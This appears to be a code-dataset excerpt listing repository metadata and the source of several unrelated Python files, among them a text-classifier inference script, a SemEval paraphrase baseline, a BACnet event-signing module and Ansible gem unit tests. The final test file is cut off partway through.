hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
d26e68a58b0367baae7be4ea2424ff76571c7233
438
py
Python
miniconda/download_prerequisites.py
MahdiFarnaghi/gtm
adbec372786262607291f901a444a0ebe9e98b48
[ "Apache-2.0" ]
null
null
null
miniconda/download_prerequisites.py
MahdiFarnaghi/gtm
adbec372786262607291f901a444a0ebe9e98b48
[ "Apache-2.0" ]
null
null
null
miniconda/download_prerequisites.py
MahdiFarnaghi/gtm
adbec372786262607291f901a444a0ebe9e98b48
[ "Apache-2.0" ]
null
null
null
import nltk import fasttext.util languages = "en, pt" if languages != '': languages = str(languages).split(',') print('FASTTEXT LANGUAGE MODELS.') for lang in languages: print(f"\tDownloading {lang}") fasttext.util.download_model(str.strip(lang), if_exists='ignore') print('LOADING FASTTEXT LANGUAGE MODELS was finished.') print('LOADING NLTK') nltk.download('wordnet', '/data/nltk') print('LOADING NLTK was finished!')
27.375
73
0.714612
96b0eb449ff0bd92c72b2ec25928d42d4aee0541
196
py
Python
Lecture5/lecture5.py
ishaanx/Labs
9080e052a1655af28f14fcf3e777bf2a994f6543
[ "MIT" ]
null
null
null
Lecture5/lecture5.py
ishaanx/Labs
9080e052a1655af28f14fcf3e777bf2a994f6543
[ "MIT" ]
null
null
null
Lecture5/lecture5.py
ishaanx/Labs
9080e052a1655af28f14fcf3e777bf2a994f6543
[ "MIT" ]
null
null
null
# Using all 14 functions import math integer = -20.11 print('Absolute value of {0} is: {1}'.format(integer, abs(integer))) print('Ceil value of {0} is: {1}'.format(integer, math.ceil(integer)))
24.5
70
0.688776
7392329feaf98e1d1cf0d12a5419870e92d9aecc
12,057
py
Python
src/regard_prediction/inference.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
14
2021-08-24T12:36:37.000Z
2022-03-18T12:14:36.000Z
src/regard_prediction/inference.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
null
null
null
src/regard_prediction/inference.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
1
2021-10-21T20:22:55.000Z
2021-10-21T20:22:55.000Z
import os from pprint import pprint import json import hydra.utils import pandas as pd import seaborn as sns import numpy as np import matplotlib.pyplot as plt import torch from torch.nn import functional as F from sklearn.metrics import classification_report from sentence_transformers import SentenceTransformer from src.classifier.data_processing.text_embedding.simple_tokenizer import ( SimpleGermanTokenizer, ) from src.classifier.data_processing.text_embedding.embedding import get_embedding from src.classifier.data_processing.text_embedding.vectorizer import ( MeanEmbeddingVectorizer, WordEmbeddingVectorizer, ) from src.classifier.non_torch.save_and_load_model import load_model from src.classifier.torch_helpers.load_pretrained import load_torch_model import src.constants as constants def _vectorize(cfg, model_type, sentences, embedding_path=None, tfidf_weights=None): model = ( get_embedding(cfg) if not embedding_path else SentenceTransformer(embedding_path) ) if model_type != "transformer": if model_type != "lstm": vectorizer = MeanEmbeddingVectorizer(model, tfidf_weights) else: vectorizer = WordEmbeddingVectorizer( model, tfidf_weights, ) sentences_emb = vectorizer.transform(sentences) else: sentences_emb = model.encode(sentences) return sentences_emb def load_inference_data(cfg, model_type, path, embedding_path=None): if path.endswith(".txt"): with open(path) as f: lines = [line.rstrip() for line in f] sentence_df = pd.DataFrame(lines, columns=[cfg.text_col]) else: sentence_df = pd.read_csv(path) sentence_df = sentence_df.dropna(subset=[cfg.text_col]) if cfg.classifier_mode.add_demographic_terms: print("Add demographics") demographic_texts = add_demographics( sentence_df[cfg.text_col], constants.PERSON, cfg.classifier_mode.demographics, ) gendered_text_embs = {} for gen, texts in demographic_texts.items(): sentence_df, sentences_emb = embed_texts( cfg, embedding_path, model_type, pd.DataFrame(texts, columns=[cfg.text_col]), ) gendered_text_embs[gen] = { "text_df": sentence_df, "text_emb": sentences_emb, } return gendered_text_embs else: if cfg.classifier_mode.add_first_demo: sentence_df[cfg.text_col] = sentence_df[cfg.text_col].apply( lambda txt: constants.VARIABLE_DICT[cfg.classifier_mode.demographics[0]] + " " + txt ) sentence_df, sentences_emb = embed_texts( cfg, embedding_path, model_type, sentence_df ) text_embs = {"text_df": sentence_df, "text_emb": sentences_emb} return text_embs def embed_texts(cfg, embedding_path, model_type, sentence_df): if model_type != "transformer": sgt = SimpleGermanTokenizer( True, True, False, False, ) sentence_df = sgt.tokenize(sentence_df, text_col=cfg.text_col) sentences_emb = _vectorize( cfg, model_type, sentence_df[cfg.token_type], embedding_path ) else: sentences_emb = _vectorize( cfg, model_type, sentence_df[cfg.text_col], embedding_path ) return sentence_df, sentences_emb def store_preds_per_class(inference_params, dest, preds, sentence_df, text_col): classes = set(preds) class_map = {0: "negative", 1: "neutral", 2: "positive"} for c in classes: texts = sentence_df.loc[sentence_df["Prediction"] == c, text_col] if inference_params.cda: dest_curr = os.path.join(dest, class_map[c]) os.makedirs(dest_curr, exist_ok=True) if list( filter( any(texts.iloc[0].startswith(f) for f in constants.FEMALE_PREFIXES) ) ): new_gender = "MALE" orig_gender = "FEMALE" flipped_texts = flip_gender(texts, True) elif list( filter( any(texts.iloc[0].startswith(f) for f in constants.MALE_PREFIXES) ) ): new_gender = "FEMALE" orig_gender = "MALE" flipped_texts = flip_gender(texts, False) text_per_gen = [texts, flipped_texts] for i, gen in enumerate([orig_gender, new_gender]): with open( os.path.join(dest_curr, f"{gen}_{class_map[c]}_regard.txt"), "a+" ) as f: for txt in text_per_gen[i]: f.write(f"{remove_demographic(inference_params, txt)}\n") else: print("Storing predictions to", dest) with open(os.path.join(dest, f"{class_map[c]}_regard.txt"), "a+") as f: for txt in texts: f.write(f"{remove_demographic(inference_params, txt)}\n") def eval_prediction(dest, path, preds, sentence_df, label_col, store_misclassified): if sentence_df.dtypes[label_col] == str: sentence_df[label_col] = sentence_df[label_col].map(constants.VALENCE_MAP) classes = set(sentence_df[label_col]) n_classes = len(classes) results_dict = classification_report( sentence_df[label_col], preds, output_dict=True ) sentence_df[label_col] = sentence_df[label_col].astype(int) confusion_matrix = np.zeros((n_classes, n_classes)) misclassified_idcs = [] for t_idx, p in zip(sentence_df.index, preds): t = sentence_df.loc[t_idx, label_col] confusion_matrix[t, p] += 1 if t != p: misclassified_idcs.append(t_idx) labels = ["negative", "neutral", "positive"] plot = sns.heatmap( confusion_matrix, cmap="coolwarm", annot=True, xticklabels=labels, yticklabels=labels, linewidths=0.5, annot_kws={"fontsize": 13}, ) plot.set_xlabel("True labels", fontsize=15) plot.set_ylabel("Predicted labels", fontsize=15) name_str = f"{os.path.basename(path).split('.')[0]}" plt.savefig(os.path.join(dest, f"conf_matrix_{name_str}.png")) pprint(results_dict) with open(os.path.join(dest, f"results_{name_str}.json"), "w") as outfile: json.dump(results_dict, outfile) if store_misclassified: misclassified_df = sentence_df.loc[misclassified_idcs, :] misclassified_df["Prediction"] = preds[misclassified_idcs] misclassified_df.to_csv(os.path.join(dest, f"misclassified_{name_str}.csv")) print(f"Storing results at {dest}.") def add_demographics(texts, placeholder, demographics_list): demo_added = {} for demo in demographics_list: demo_prefix = constants.VARIABLE_DICT[demo] demo_added[demo] = [txt.replace(placeholder, demo_prefix) for txt in texts] demo_added[demo] = flip_gender( demo_added[demo], any(demo_prefix == female for female in constants.FEMALE_PREFIXES), ) print(demo_added) return demo_added def flip_gender(texts, f_to_m): female_to_male = constants.F_TO_M_PRONOUNS flipped_texts = [] for txt in texts: flipped_txt = [] dictionary = female_to_male if f_to_m else female_to_male.inverse for word in txt.split(" "): if word in dictionary.keys(): word = dictionary[word] flipped_txt += [word] flipped_texts += [" ".join(flipped_txt)] return flipped_texts def remove_demographic(inference_params, text): for demo in inference_params.demographics: text = text.replace(demo, "").strip() return text def predict_regard( cfg, input_path, output_path, by_class_results, model, model_type, use_sklearn_model, embedding_path, ): sent_dict = load_inference_data(cfg, model_type, input_path, embedding_path) def predict_regard_(sentence_df, sentences_emb, gen=None): if use_sklearn_model: preds = model.predict(sentences_emb) else: outputs = model(torch.Tensor(sentences_emb)) probs = F.log_softmax(outputs, dim=1) preds = torch.argmax(probs, dim=1).detach().numpy() if cfg.label_col in sentence_df.columns: sentence_df[cfg.label_col] = sentence_df[cfg.label_col].astype(int) eval_prediction( output_path, input_path, preds, sentence_df, cfg.label_col, cfg.classifier_mode.store_misclassified, ) sentence_df["Prediction"] = preds if gen is None: dest = os.path.join( output_path, f"{os.path.basename(input_path).split('.')[0]}_regard_labeled.csv", ) else: dest = os.path.join(output_path, f"{gen}_texts_regard_labeled.csv") sentence_df.to_csv(dest) print("Predictions stored at", dest) if by_class_results: store_preds_per_class( cfg.classifier_mode, output_path, preds, sentence_df, cfg.text_col ) del sentences_emb if cfg.classifier_mode.add_demographic_terms: for gen, gen_dict in sent_dict.items(): print("Processing texts for ", gen) predict_regard_(gen_dict["text_df"], gen_dict["text_emb"], gen) else: predict_regard_(sent_dict["text_df"], sent_dict["text_emb"]) def predict( cfg, eval_model=None, eval_model_type=None, embedding_path=None, sample_file=None, eval_dest=None, logger=None, ): inference_params = cfg.classifier_mode print(inference_params) text_path = inference_params.inference_texts if not sample_file else sample_file model_type = eval_model_type if eval_model_type else cfg.classifier.name results_path = hydra.utils.to_absolute_path(inference_params.results_path) if cfg.dev_settings.annotation == "unanimous": pretrained_model = inference_params.pretrained_model.unanimous else: pretrained_model = inference_params.pretrained_model.majority pretrained_model = hydra.utils.to_absolute_path(pretrained_model) dest = ( os.path.join( results_path, model_type, ) if not eval_dest else eval_dest ) os.makedirs(dest, exist_ok=True) by_class_results = not eval_model and cfg.classifier_mode.split_by_class use_sklearn_model = not eval_model and model_type not in [ "lstm", "transformer", ] if use_sklearn_model: model = load_model(pretrained_model, logger) else: model_path = pretrained_model if not eval_model else eval_model model = load_torch_model(model_path, model_type, logger=None) model.to("cpu") model.eval() if any([text_path.endswith(ending) for ending in [".csv", ".txt"]]): predict_regard( cfg, text_path, dest, by_class_results, model, model_type, use_sklearn_model, embedding_path, ) else: text_path = hydra.utils.to_absolute_path(text_path) for file in os.listdir(text_path): path = os.path.join(text_path, file) if not os.path.isdir(path): print(f"Processing {path}") predict_regard( cfg, path, dest, by_class_results, model, model_type, use_sklearn_model, embedding_path, )
34.252841
88
0.616654
73aaae3b60e590112a97522b3158a1c721f92831
13,615
py
Python
Practice-2019-05-11/scripts/baseline_logisticregression.py
serge-sotnyk/nlp-practice
e38400590a3fcf140a73d6871a778b3c2115a2fe
[ "MIT" ]
3
2019-11-25T09:56:48.000Z
2021-01-18T13:18:17.000Z
Practice-2019-05-11/scripts/baseline_logisticregression.py
serge-sotnyk/nlp-practice
e38400590a3fcf140a73d6871a778b3c2115a2fe
[ "MIT" ]
null
null
null
Practice-2019-05-11/scripts/baseline_logisticregression.py
serge-sotnyk/nlp-practice
e38400590a3fcf140a73d6871a778b3c2115a2fe
[ "MIT" ]
2
2020-05-17T17:22:14.000Z
2020-09-23T08:31:46.000Z
# ============== SemEval-2015 Task 1 ============== # Paraphrase and Semantic Similarity in Twitter # =================================================== # # Author: Wei Xu (UPenn [email protected]) # # Implementation of a baseline system that uses logistic # regression model with simple n-gram features, which # is originally described in the ACL 2009 paper # http://www.aclweb.org/anthology/P/P09/P09-1053.pdf # by Dipanjan Das and Noah A. Smith # # A few Python packages are needed to run this script: # http://www.nltk.org/_modules/nltk/classify/megam.html # http://www.umiacs.umd.edu/~hal/megam/index.html import sys import nltk from nltk.tokenize import word_tokenize from nltk.stem import porter from _pickle import load from _pickle import dump from collections import * # sub-functions for find overlapping n-grams def intersect_modified(list1, list2): cnt1 = Counter() cnt2 = Counter() for tk1 in list1: cnt1[tk1] += 1 for tk2 in list2: cnt2[tk2] += 1 inter = cnt1 & cnt2 union = cnt1 | cnt2 largeinter = Counter() for (element, count) in inter.items(): largeinter[element] = union[element] return list(largeinter.elements()) def intersect(list1, list2): cnt1 = Counter() cnt2 = Counter() for tk1 in list1: cnt1[tk1] += 1 for tk2 in list2: cnt2[tk2] += 1 inter = cnt1 & cnt2 return list(inter.elements()) # create n-gram features and stemmed n-gram features def paraphrase_Das_features(source, target, trend): source_words = word_tokenize(source) target_words = word_tokenize(target) features = {} ###### Word Features ######## s1grams = [w.lower() for w in source_words] t1grams = [w.lower() for w in target_words] s2grams = [] t2grams = [] s3grams = [] t3grams = [] for i in range(0, len(s1grams) - 1): if i < len(s1grams) - 1: s2gram = s1grams[i] + " " + s1grams[i + 1] s2grams.append(s2gram) if i < len(s1grams) - 2: s3gram = s1grams[i] + " " + s1grams[i + 1] + " " + s1grams[i + 2] s3grams.append(s3gram) for i in range(0, len(t1grams) - 1): if i < len(t1grams) - 1: t2gram = t1grams[i] + " " + t1grams[i + 1] t2grams.append(t2gram) if i < len(t1grams) - 2: t3gram = t1grams[i] + " " + t1grams[i + 1] + " " + t1grams[i + 2] t3grams.append(t3gram) f1gram = 0 precision1gram = len(set(intersect(s1grams, t1grams))) / len(set(s1grams)) recall1gram = len(set(intersect(s1grams, t1grams))) / len(set(t1grams)) if (precision1gram + recall1gram) > 0: f1gram = 2 * precision1gram * recall1gram / (precision1gram + recall1gram) precision2gram = len(set(intersect(s2grams, t2grams))) / len(set(s2grams)) recall2gram = len(set(intersect(s2grams, t2grams))) / len(set(t2grams)) f2gram = 0 if (precision2gram + recall2gram) > 0: f2gram = 2 * precision1gram * recall2gram / (precision2gram + recall2gram) precision3gram = len(set(intersect(s3grams, t3grams))) / len(set(s3grams)) recall3gram = len(set(intersect(s3grams, t3grams))) / len(set(t3grams)) f3gram = 0 if (precision3gram + recall3gram) > 0: f3gram = 2 * precision3gram * recall3gram / (precision3gram + recall3gram) features["precision1gram"] = precision1gram features["recall1gram"] = recall1gram features["f1gram"] = f1gram features["precision2gram"] = precision2gram features["recall2gram"] = recall2gram features["f2gram"] = f2gram features["precision3gram"] = precision3gram features["recall3gram"] = recall3gram features["f3gram"] = f3gram ###### Stemmed Word Features ######## porterstemmer = porter.PorterStemmer() s1stems = [porterstemmer.stem(w.lower()) for w in source_words] t1stems = [porterstemmer.stem(w.lower()) for w in target_words] s2stems = [] t2stems = [] s3stems = [] t3stems = [] for i in range(0, len(s1stems) - 1): if i < len(s1stems) - 1: s2stem = s1stems[i] + " " + s1stems[i + 1] s2stems.append(s2stem) if i < len(s1stems) - 2: s3stem = s1stems[i] + " " + s1stems[i + 1] + " " + s1stems[i + 2] s3stems.append(s3stem) for i in range(0, len(t1stems) - 1): if i < len(t1stems) - 1: t2stem = t1stems[i] + " " + t1stems[i + 1] t2stems.append(t2stem) if i < len(t1stems) - 2: t3stem = t1stems[i] + " " + t1stems[i + 1] + " " + t1stems[i + 2] t3stems.append(t3stem) precision1stem = len(set(intersect(s1stems, t1stems))) / len(set(s1stems)) recall1stem = len(set(intersect(s1stems, t1stems))) / len(set(t1stems)) f1stem = 0 if (precision1stem + recall1stem) > 0: f1stem = 2 * precision1stem * recall1stem / (precision1stem + recall1stem) precision2stem = len(set(intersect(s2stems, t2stems))) / len(set(s2stems)) recall2stem = len(set(intersect(s2stems, t2stems))) / len(set(t2stems)) f2stem = 0 if (precision2stem + recall2stem) > 0: f2stem = 2 * precision2stem * recall2stem / (precision2stem + recall2stem) precision3stem = len(set(intersect(s3stems, t3stems))) / len(set(s3stems)) recall3stem = len(set(intersect(s3stems, t3stems))) / len(set(t3stems)) f3stem = 0 if (precision3stem + recall3stem) > 0: f3stem = 2 * precision3stem * recall3stem / (precision3stem + recall3stem) features["precision1stem"] = precision1stem features["recall1stem"] = recall1stem features["f1stem"] = f1stem features["precision2stem"] = precision2stem features["recall2stem"] = recall2stem features["f2stem"] = f2stem features["precision3stem"] = precision3stem features["recall3stem"] = recall3stem features["f3stem"] = f3stem return features # read from train/test data files and create features def readInData(filename): data = [] trends = set([]) (trendid, trendname, origsent, candsent, judge, origsenttag, candsenttag) = ( None, None, None, None, None, None, None) for line in open(filename): line = line.strip() # read in training or dev data with labels if len(line.split('\t')) == 7: (trendid, trendname, origsent, candsent, judge, origsenttag, candsenttag) = line.split('\t') # read in test data without labels elif len(line.split('\t')) == 6: (trendid, trendname, origsent, candsent, origsenttag, candsenttag) = line.split('\t') else: continue # if origsent == candsent: # continue trends.add(trendid) features = paraphrase_Das_features(origsent, candsent, trendname) if judge == None: data.append((features, judge, origsent, candsent, trendid)) continue # ignoring the training/test data that has middle label if judge[0] == '(': # labelled by Amazon Mechanical Turk in format like "(2,3)" nYes = eval(judge)[0] if nYes >= 3: amt_label = True data.append((features, amt_label, origsent, candsent, trendid)) elif nYes <= 1: amt_label = False data.append((features, amt_label, origsent, candsent, trendid)) elif judge[0].isdigit(): # labelled by expert in format like "2" nYes = int(judge[0]) if nYes >= 4: expert_label = True data.append((features, expert_label, origsent, candsent, trendid)) elif nYes <= 2: expert_label = False data.append((features, expert_label, origsent, candsent, trendid)) else: expert_label = None data.append((features, expert_label, origsent, candsent, trendid)) return data, trends # Evaluation by Precision/Recall/F-measure # cut-off at probability 0.5, estimated by the model def OneEvaluation(): tp = 0.0 fp = 0.0 fn = 0.0 tn = 0.0 # read in training/test data with labels and create features trainfull, traintrends = readInData(trainfilename) testfull, testtrends = readInData(testfilename) train = [(x[0], x[1]) for x in trainfull] test = [(x[0], x[1]) for x in testfull] print("Read in", len(train), "valid training data ... ") print("Read in", len(test), "valid test data ... ") print() if len(test) <= 0 or len(train) <= 0: sys.exit() # train the model classifier = nltk.classify.maxent.train_maxent_classifier_with_megam(train, gaussian_prior_sigma=10, bernoulli=True) # uncomment the following lines if you want to save the trained model into a file modelfile = './baseline_logisticregression.model' outmodel = open(modelfile, 'wb') dump(classifier, outmodel) outmodel.close() # uncomment the following lines if you want to load a trained model from a file inmodel = open(modelfile, 'rb') classifier = load(inmodel) inmodel.close() for i, t in enumerate(test): sent1 = testfull[i][2] sent2 = testfull[i][3] guess = classifier.classify(t[0]) label = t[1] if guess == True and label == False: fp += 1.0 elif guess == False and label == True: fn += 1.0 elif guess == True and label == True: tp += 1.0 elif guess == False and label == False: tn += 1.0 if guess == True: print("GOLD-" + str(label) + "\t" + "SYS-" + str(guess) + "\t" + sent1 + "\t" + sent2) P = tp / (tp + fp) R = tp / (tp + fn) F = 2 * P * R / (P + R) print() print("PRECISION: %s, RECALL: %s, F1: %s" % (P, R, F)) print("ACCURACY: ", nltk.classify.accuracy(classifier, test)) print("# true pos:", tp) print("# false pos:", fp) print("# false neg:", fn) print("# true neg:", tn) # Evaluation by precision/recall curve def PREvaluation(): # read in training/test data with labels and create features trainfull, traintrends = readInData(trainfilename) testfull, testtrends = readInData(testfilename) train = [(x[0], x[1]) for x in trainfull] test = [(x[0], x[1]) for x in testfull] print("Read in", len(train), "valid training data ... ") print("Read in", len(test), "valid test data ... ") print() if len(test) <= 0 or len(train) <= 0: sys.exit() # train the model classifier = nltk.classify.maxent.train_maxent_classifier_with_megam(train, gaussian_prior_sigma=10, bernoulli=True) # comment the following lines to skip saving the above trained model into a file modelfile = './baseline_logisticregression.model' outmodel = open(modelfile, 'wb') dump(classifier, outmodel) outmodel.close() # comment the following lines to skip loading a previously trained model from a file inmodel = open(modelfile, 'rb') classifier = load(inmodel) inmodel.close() probs = [] totalpos = 0 for i, t in enumerate(test): prob = classifier.prob_classify(t[0]).prob(True) probs.append(prob) goldlabel = t[1] if goldlabel == True: totalpos += 1 # rank system outputs according to the probabilities predicted sortedindex = sorted(range(len(probs)), key=probs.__getitem__) sortedindex.reverse() truepos = 0 falsepos = 0 print("\t\tPREC\tRECALL\tF1\t|||\tMaxEnt\tSENT1\tSENT2") i = 0 for sortedi in sortedindex: i += 1 strhit = "HIT" sent1 = testfull[sortedi][2] sent2 = testfull[sortedi][3] if test[sortedi][1] == True: truepos += 1 else: falsepos += 1 strhit = "ERR" precision = truepos / (truepos + falsepos) recall = truepos / totalpos f1 = 0 if precision + recall > 0: f1 = 2 * precision * recall / (precision + recall) print(str(i) + "\t" + strhit + "\t" + "{0:.3f}".format(precision) + '\t' + "{0:.3f}".format( recall) + "\t" + "{0:.3f}".format(f1)), print("\t|||\t" + "{0:.3f}".format(probs[sortedi]) + "\t" + sent1 + "\t" + sent2) # Load the trained model and output the predictions def OutputPredictions(modelfile, outfile): # read in test data and create features testfull, testtrends = readInData(testfilename) test = [(x[0], x[1]) for x in testfull] print("Read in", len(test), "valid test data ... ") print() if len(test) <= 0: sys.exit() # read in pre-trained model inmodel = open(modelfile, 'rb') classifier = load(inmodel) inmodel.close() # output the results into a file outf = open(outfile, 'w') for i, t in enumerate(test): prob = classifier.prob_classify(t[0]).prob(True) if prob >= 0.5: outf.write("true\t" + "{0:.4f}".format(prob) + "\n") else: outf.write("false\t" + "{0:.4f}".format(prob) + "\n") outf.close() if __name__ == "__main__": trainfilename = "../data/train.data" testfilename = "../data/test.data" # Training and Testing by precision/recall curve # PREvaluation() # Training and Testing by Precision/Recall/F-measure OneEvaluation() # write results into a file in the SemEval output format outputfilename = "../systemoutputs/PIT2015_BASELINE_02_LG.output" modelfilename = './baseline_logisticregression.model' OutputPredictions(modelfilename, outputfilename)
33.207317
120
0.603526
83f19bd5820a4beabf2ec2d5547cc2c6a3227a8c
5,288
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/security/crypto.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/security/crypto.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/security/crypto.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
import hashlib import secrets import nacl.encoding import nacl.exceptions import nacl.signing """ Crypto to Secure the BACNet: ----------------------------- In general the hash of the previous event is just the hash of its metadata. This allows for the Events to be imported in a database without its content (ex when the content is too large or on low bandwidth networks). Since the Hash of the Content is saved in metadata, the content integrity can always be checked. The metadata is signed and thus protected from changes. """ from ..interface.event import Event, Meta HASH_TYPES = {0: 'sha256'} SIGNATURE_TYPES = {0: 'ed25519'} def check_signature(event: Event): """ This method checks the signature of an event. Typically, the signature is the hash of the metadata encrypted with a private key to the corresponding public-key/feed_id. raises InvalidSignType() Exception if given signature type/method is not supported Parameters ---------- event The event the signature needs to be checked for Returns ------- true/false if the signature is valid or not """ sign_type = event.meta.signature_info if sign_type == 0: verification_key = nacl.signing.VerifyKey(event.meta.feed_id) try: verification_key.verify(event.meta.get_as_cbor(), event.signature) # if no error is raised, verification has been successful return True except nacl.exceptions.BadSignatureError: return False else: raise InvalidSignType(sign_type) def check_in_order(to_insert: Event, last_event: Event = None): """ This function checks whether events are inorder and from the same feed. Therefore also checks the hash dependency Parameters ---------- to_insert The event to be inserted into the feed last_event The last event from to feed to insert in (may be non existent when to_insert is genesis event) Returns ------- boolean whether to_insert is in_order and from same feed as last event (if existent) """ if last_event is not None: # from same feed and in-order sequence numbers? if (to_insert.meta.seq_no == last_event.meta.seq_no + 1) and last_event.meta.feed_id == to_insert.meta.feed_id: # print("feed-no and seq_no correct!") # hash of previous is right? return _check_previous_hash(to_insert, last_event) else: return False else: return to_insert.meta.seq_no == 0 def check_content_integrity(event: Event) -> bool: """ Check the integrity of the content by comparing its hash against the hash_of_content in the Metadata. TODO: What if You want to send just meta without content? -> separate functionality? Parameters ---------- event Event to check content integrity for Returns ------- bool or raise exception when Hash-type is unknown """ # print(event.meta.hash_of_content) return event.meta.hash_of_content == hashlib.sha256(event.content.get_as_cbor()).digest() def calculate_signature(meta: Meta, sign_key: str): """ Used to sign the metadata of an event with a given sign_key. Used when an event is created. Parameters ---------- meta Metadata to sign sign_key key to sign with, often the private key Returns ------- signature """ sign_type = meta.signature_info if sign_type == 0: signing_key = nacl.signing.SigningKey(sign_key) return signing_key.sign(meta.get_as_cbor()).signature else: raise InvalidSignType(sign_type) def create_keys(signature_type=0): """ Used when new feeds are created, takes the wished signature type and calculates a key(pair), and returns it. Parameters ---------- signature_type type of signature to use for the key (pair) Returns ------- The key (pair) """ # Use 0 -> Nacl ed2551^9 if signature_type == 0: private_key = secrets.token_bytes(32) signing_key = nacl.signing.SigningKey(private_key) public_key = signing_key.verify_key.encode() return public_key, private_key else: raise InvalidSignType(signature_type) def calculate_hash(to_hash: bytes, hash_type=0): """ This method calculates hashed for given bytes. Parameters ---------- to_hash bytes to be hashed hash_type Type of hash that is used Returns ------- The hash """ if hash_type == 0: return hashlib.sha256(to_hash).digest() else: raise InvalidHashType(hash_type) def _check_previous_hash(to_insert: Event, last_event: Event) -> bool: prev_hash = to_insert.meta.hash_of_prev return prev_hash == hashlib.sha256(last_event.meta.get_as_cbor()).digest() class InvalidHashType(Exception): def __init__(self, message): super().__init__(f"The given hash-type: {message} is not known nor implemented\n " f"Supported: {HASH_TYPES.values()}") class InvalidSignType(Exception): def __init__(self, message): super().__init__(f"The given signature-type: {message} is not known nor implemented\n " f"Supported: {SIGNATURE_TYPES.values()}")
31.105882
119
0.669062
f7fa3ea0d3d0549f395e122654ded5814882e7f6
4,658
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/packaging/language/test_gem.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/packaging/language/test_gem.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/packaging/language/test_gem.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
# Copyright (c) 2018 Antoine Catton # MIT License (see licenses/MIT-license.txt or https://opensource.org/licenses/MIT) import copy import pytest from ansible_collections.community.general.plugins.modules.packaging.language import gem from ansible_collections.community.general.tests.unit.modules.utils import AnsibleExitJson, AnsibleFailJson, ModuleTestCase, set_module_args def get_command(run_command): """Generate the command line string from the patched run_command""" args = run_command.call_args[0] command = args[0] return ' '.join(command) class TestGem(ModuleTestCase): def setUp(self): super(TestGem, self).setUp() self.rubygems_path = ['/usr/bin/gem'] self.mocker.patch( 'ansible_collections.community.general.plugins.modules.packaging.language.gem.get_rubygems_path', lambda module: copy.deepcopy(self.rubygems_path), ) @pytest.fixture(autouse=True) def _mocker(self, mocker): self.mocker = mocker def patch_installed_versions(self, versions): """Mocks the versions of the installed package""" target = 'ansible_collections.community.general.plugins.modules.packaging.language.gem.get_installed_versions' def new(module, remote=False): return versions return self.mocker.patch(target, new) def patch_rubygems_version(self, version=None): target = 'ansible_collections.community.general.plugins.modules.packaging.language.gem.get_rubygems_version' def new(module): return version return self.mocker.patch(target, new) def patch_run_command(self): target = 'ansible.module_utils.basic.AnsibleModule.run_command' return self.mocker.patch(target) def test_fails_when_user_install_and_install_dir_are_combined(self): set_module_args({ 'name': 'dummy', 'user_install': True, 'install_dir': '/opt/dummy', }) with pytest.raises(AnsibleFailJson) as exc: gem.main() result = exc.value.args[0] assert result['failed'] assert result['msg'] == "install_dir requires user_install=false" def test_passes_install_dir_to_gem(self): # XXX: This test is extremely fragile, and makes assuptions about the module code, and how # functions are run. # If you start modifying the code of the module, you might need to modify what this # test mocks. The only thing that matters is the assertion that this 'gem install' is # invoked with '--install-dir'. set_module_args({ 'name': 'dummy', 'user_install': False, 'install_dir': '/opt/dummy', }) self.patch_rubygems_version() self.patch_installed_versions([]) run_command = self.patch_run_command() with pytest.raises(AnsibleExitJson) as exc: gem.main() result = exc.value.args[0] assert result['changed'] assert run_command.called assert '--install-dir /opt/dummy' in get_command(run_command) def test_passes_install_dir_and_gem_home_when_uninstall_gem(self): # XXX: This test is also extremely fragile because of mocking. # If this breaks, the only that matters is to check whether '--install-dir' is # in the run command, and that GEM_HOME is passed to the command. set_module_args({ 'name': 'dummy', 'user_install': False, 'install_dir': '/opt/dummy', 'state': 'absent', }) self.patch_rubygems_version() self.patch_installed_versions(['1.0.0']) run_command = self.patch_run_command() with pytest.raises(AnsibleExitJson) as exc: gem.main() result = exc.value.args[0] assert result['changed'] assert run_command.called assert '--install-dir /opt/dummy' in get_command(run_command) update_environ = run_command.call_args[1].get('environ_update', {}) assert update_environ.get('GEM_HOME') == '/opt/dummy' def test_passes_add_force_option(self): 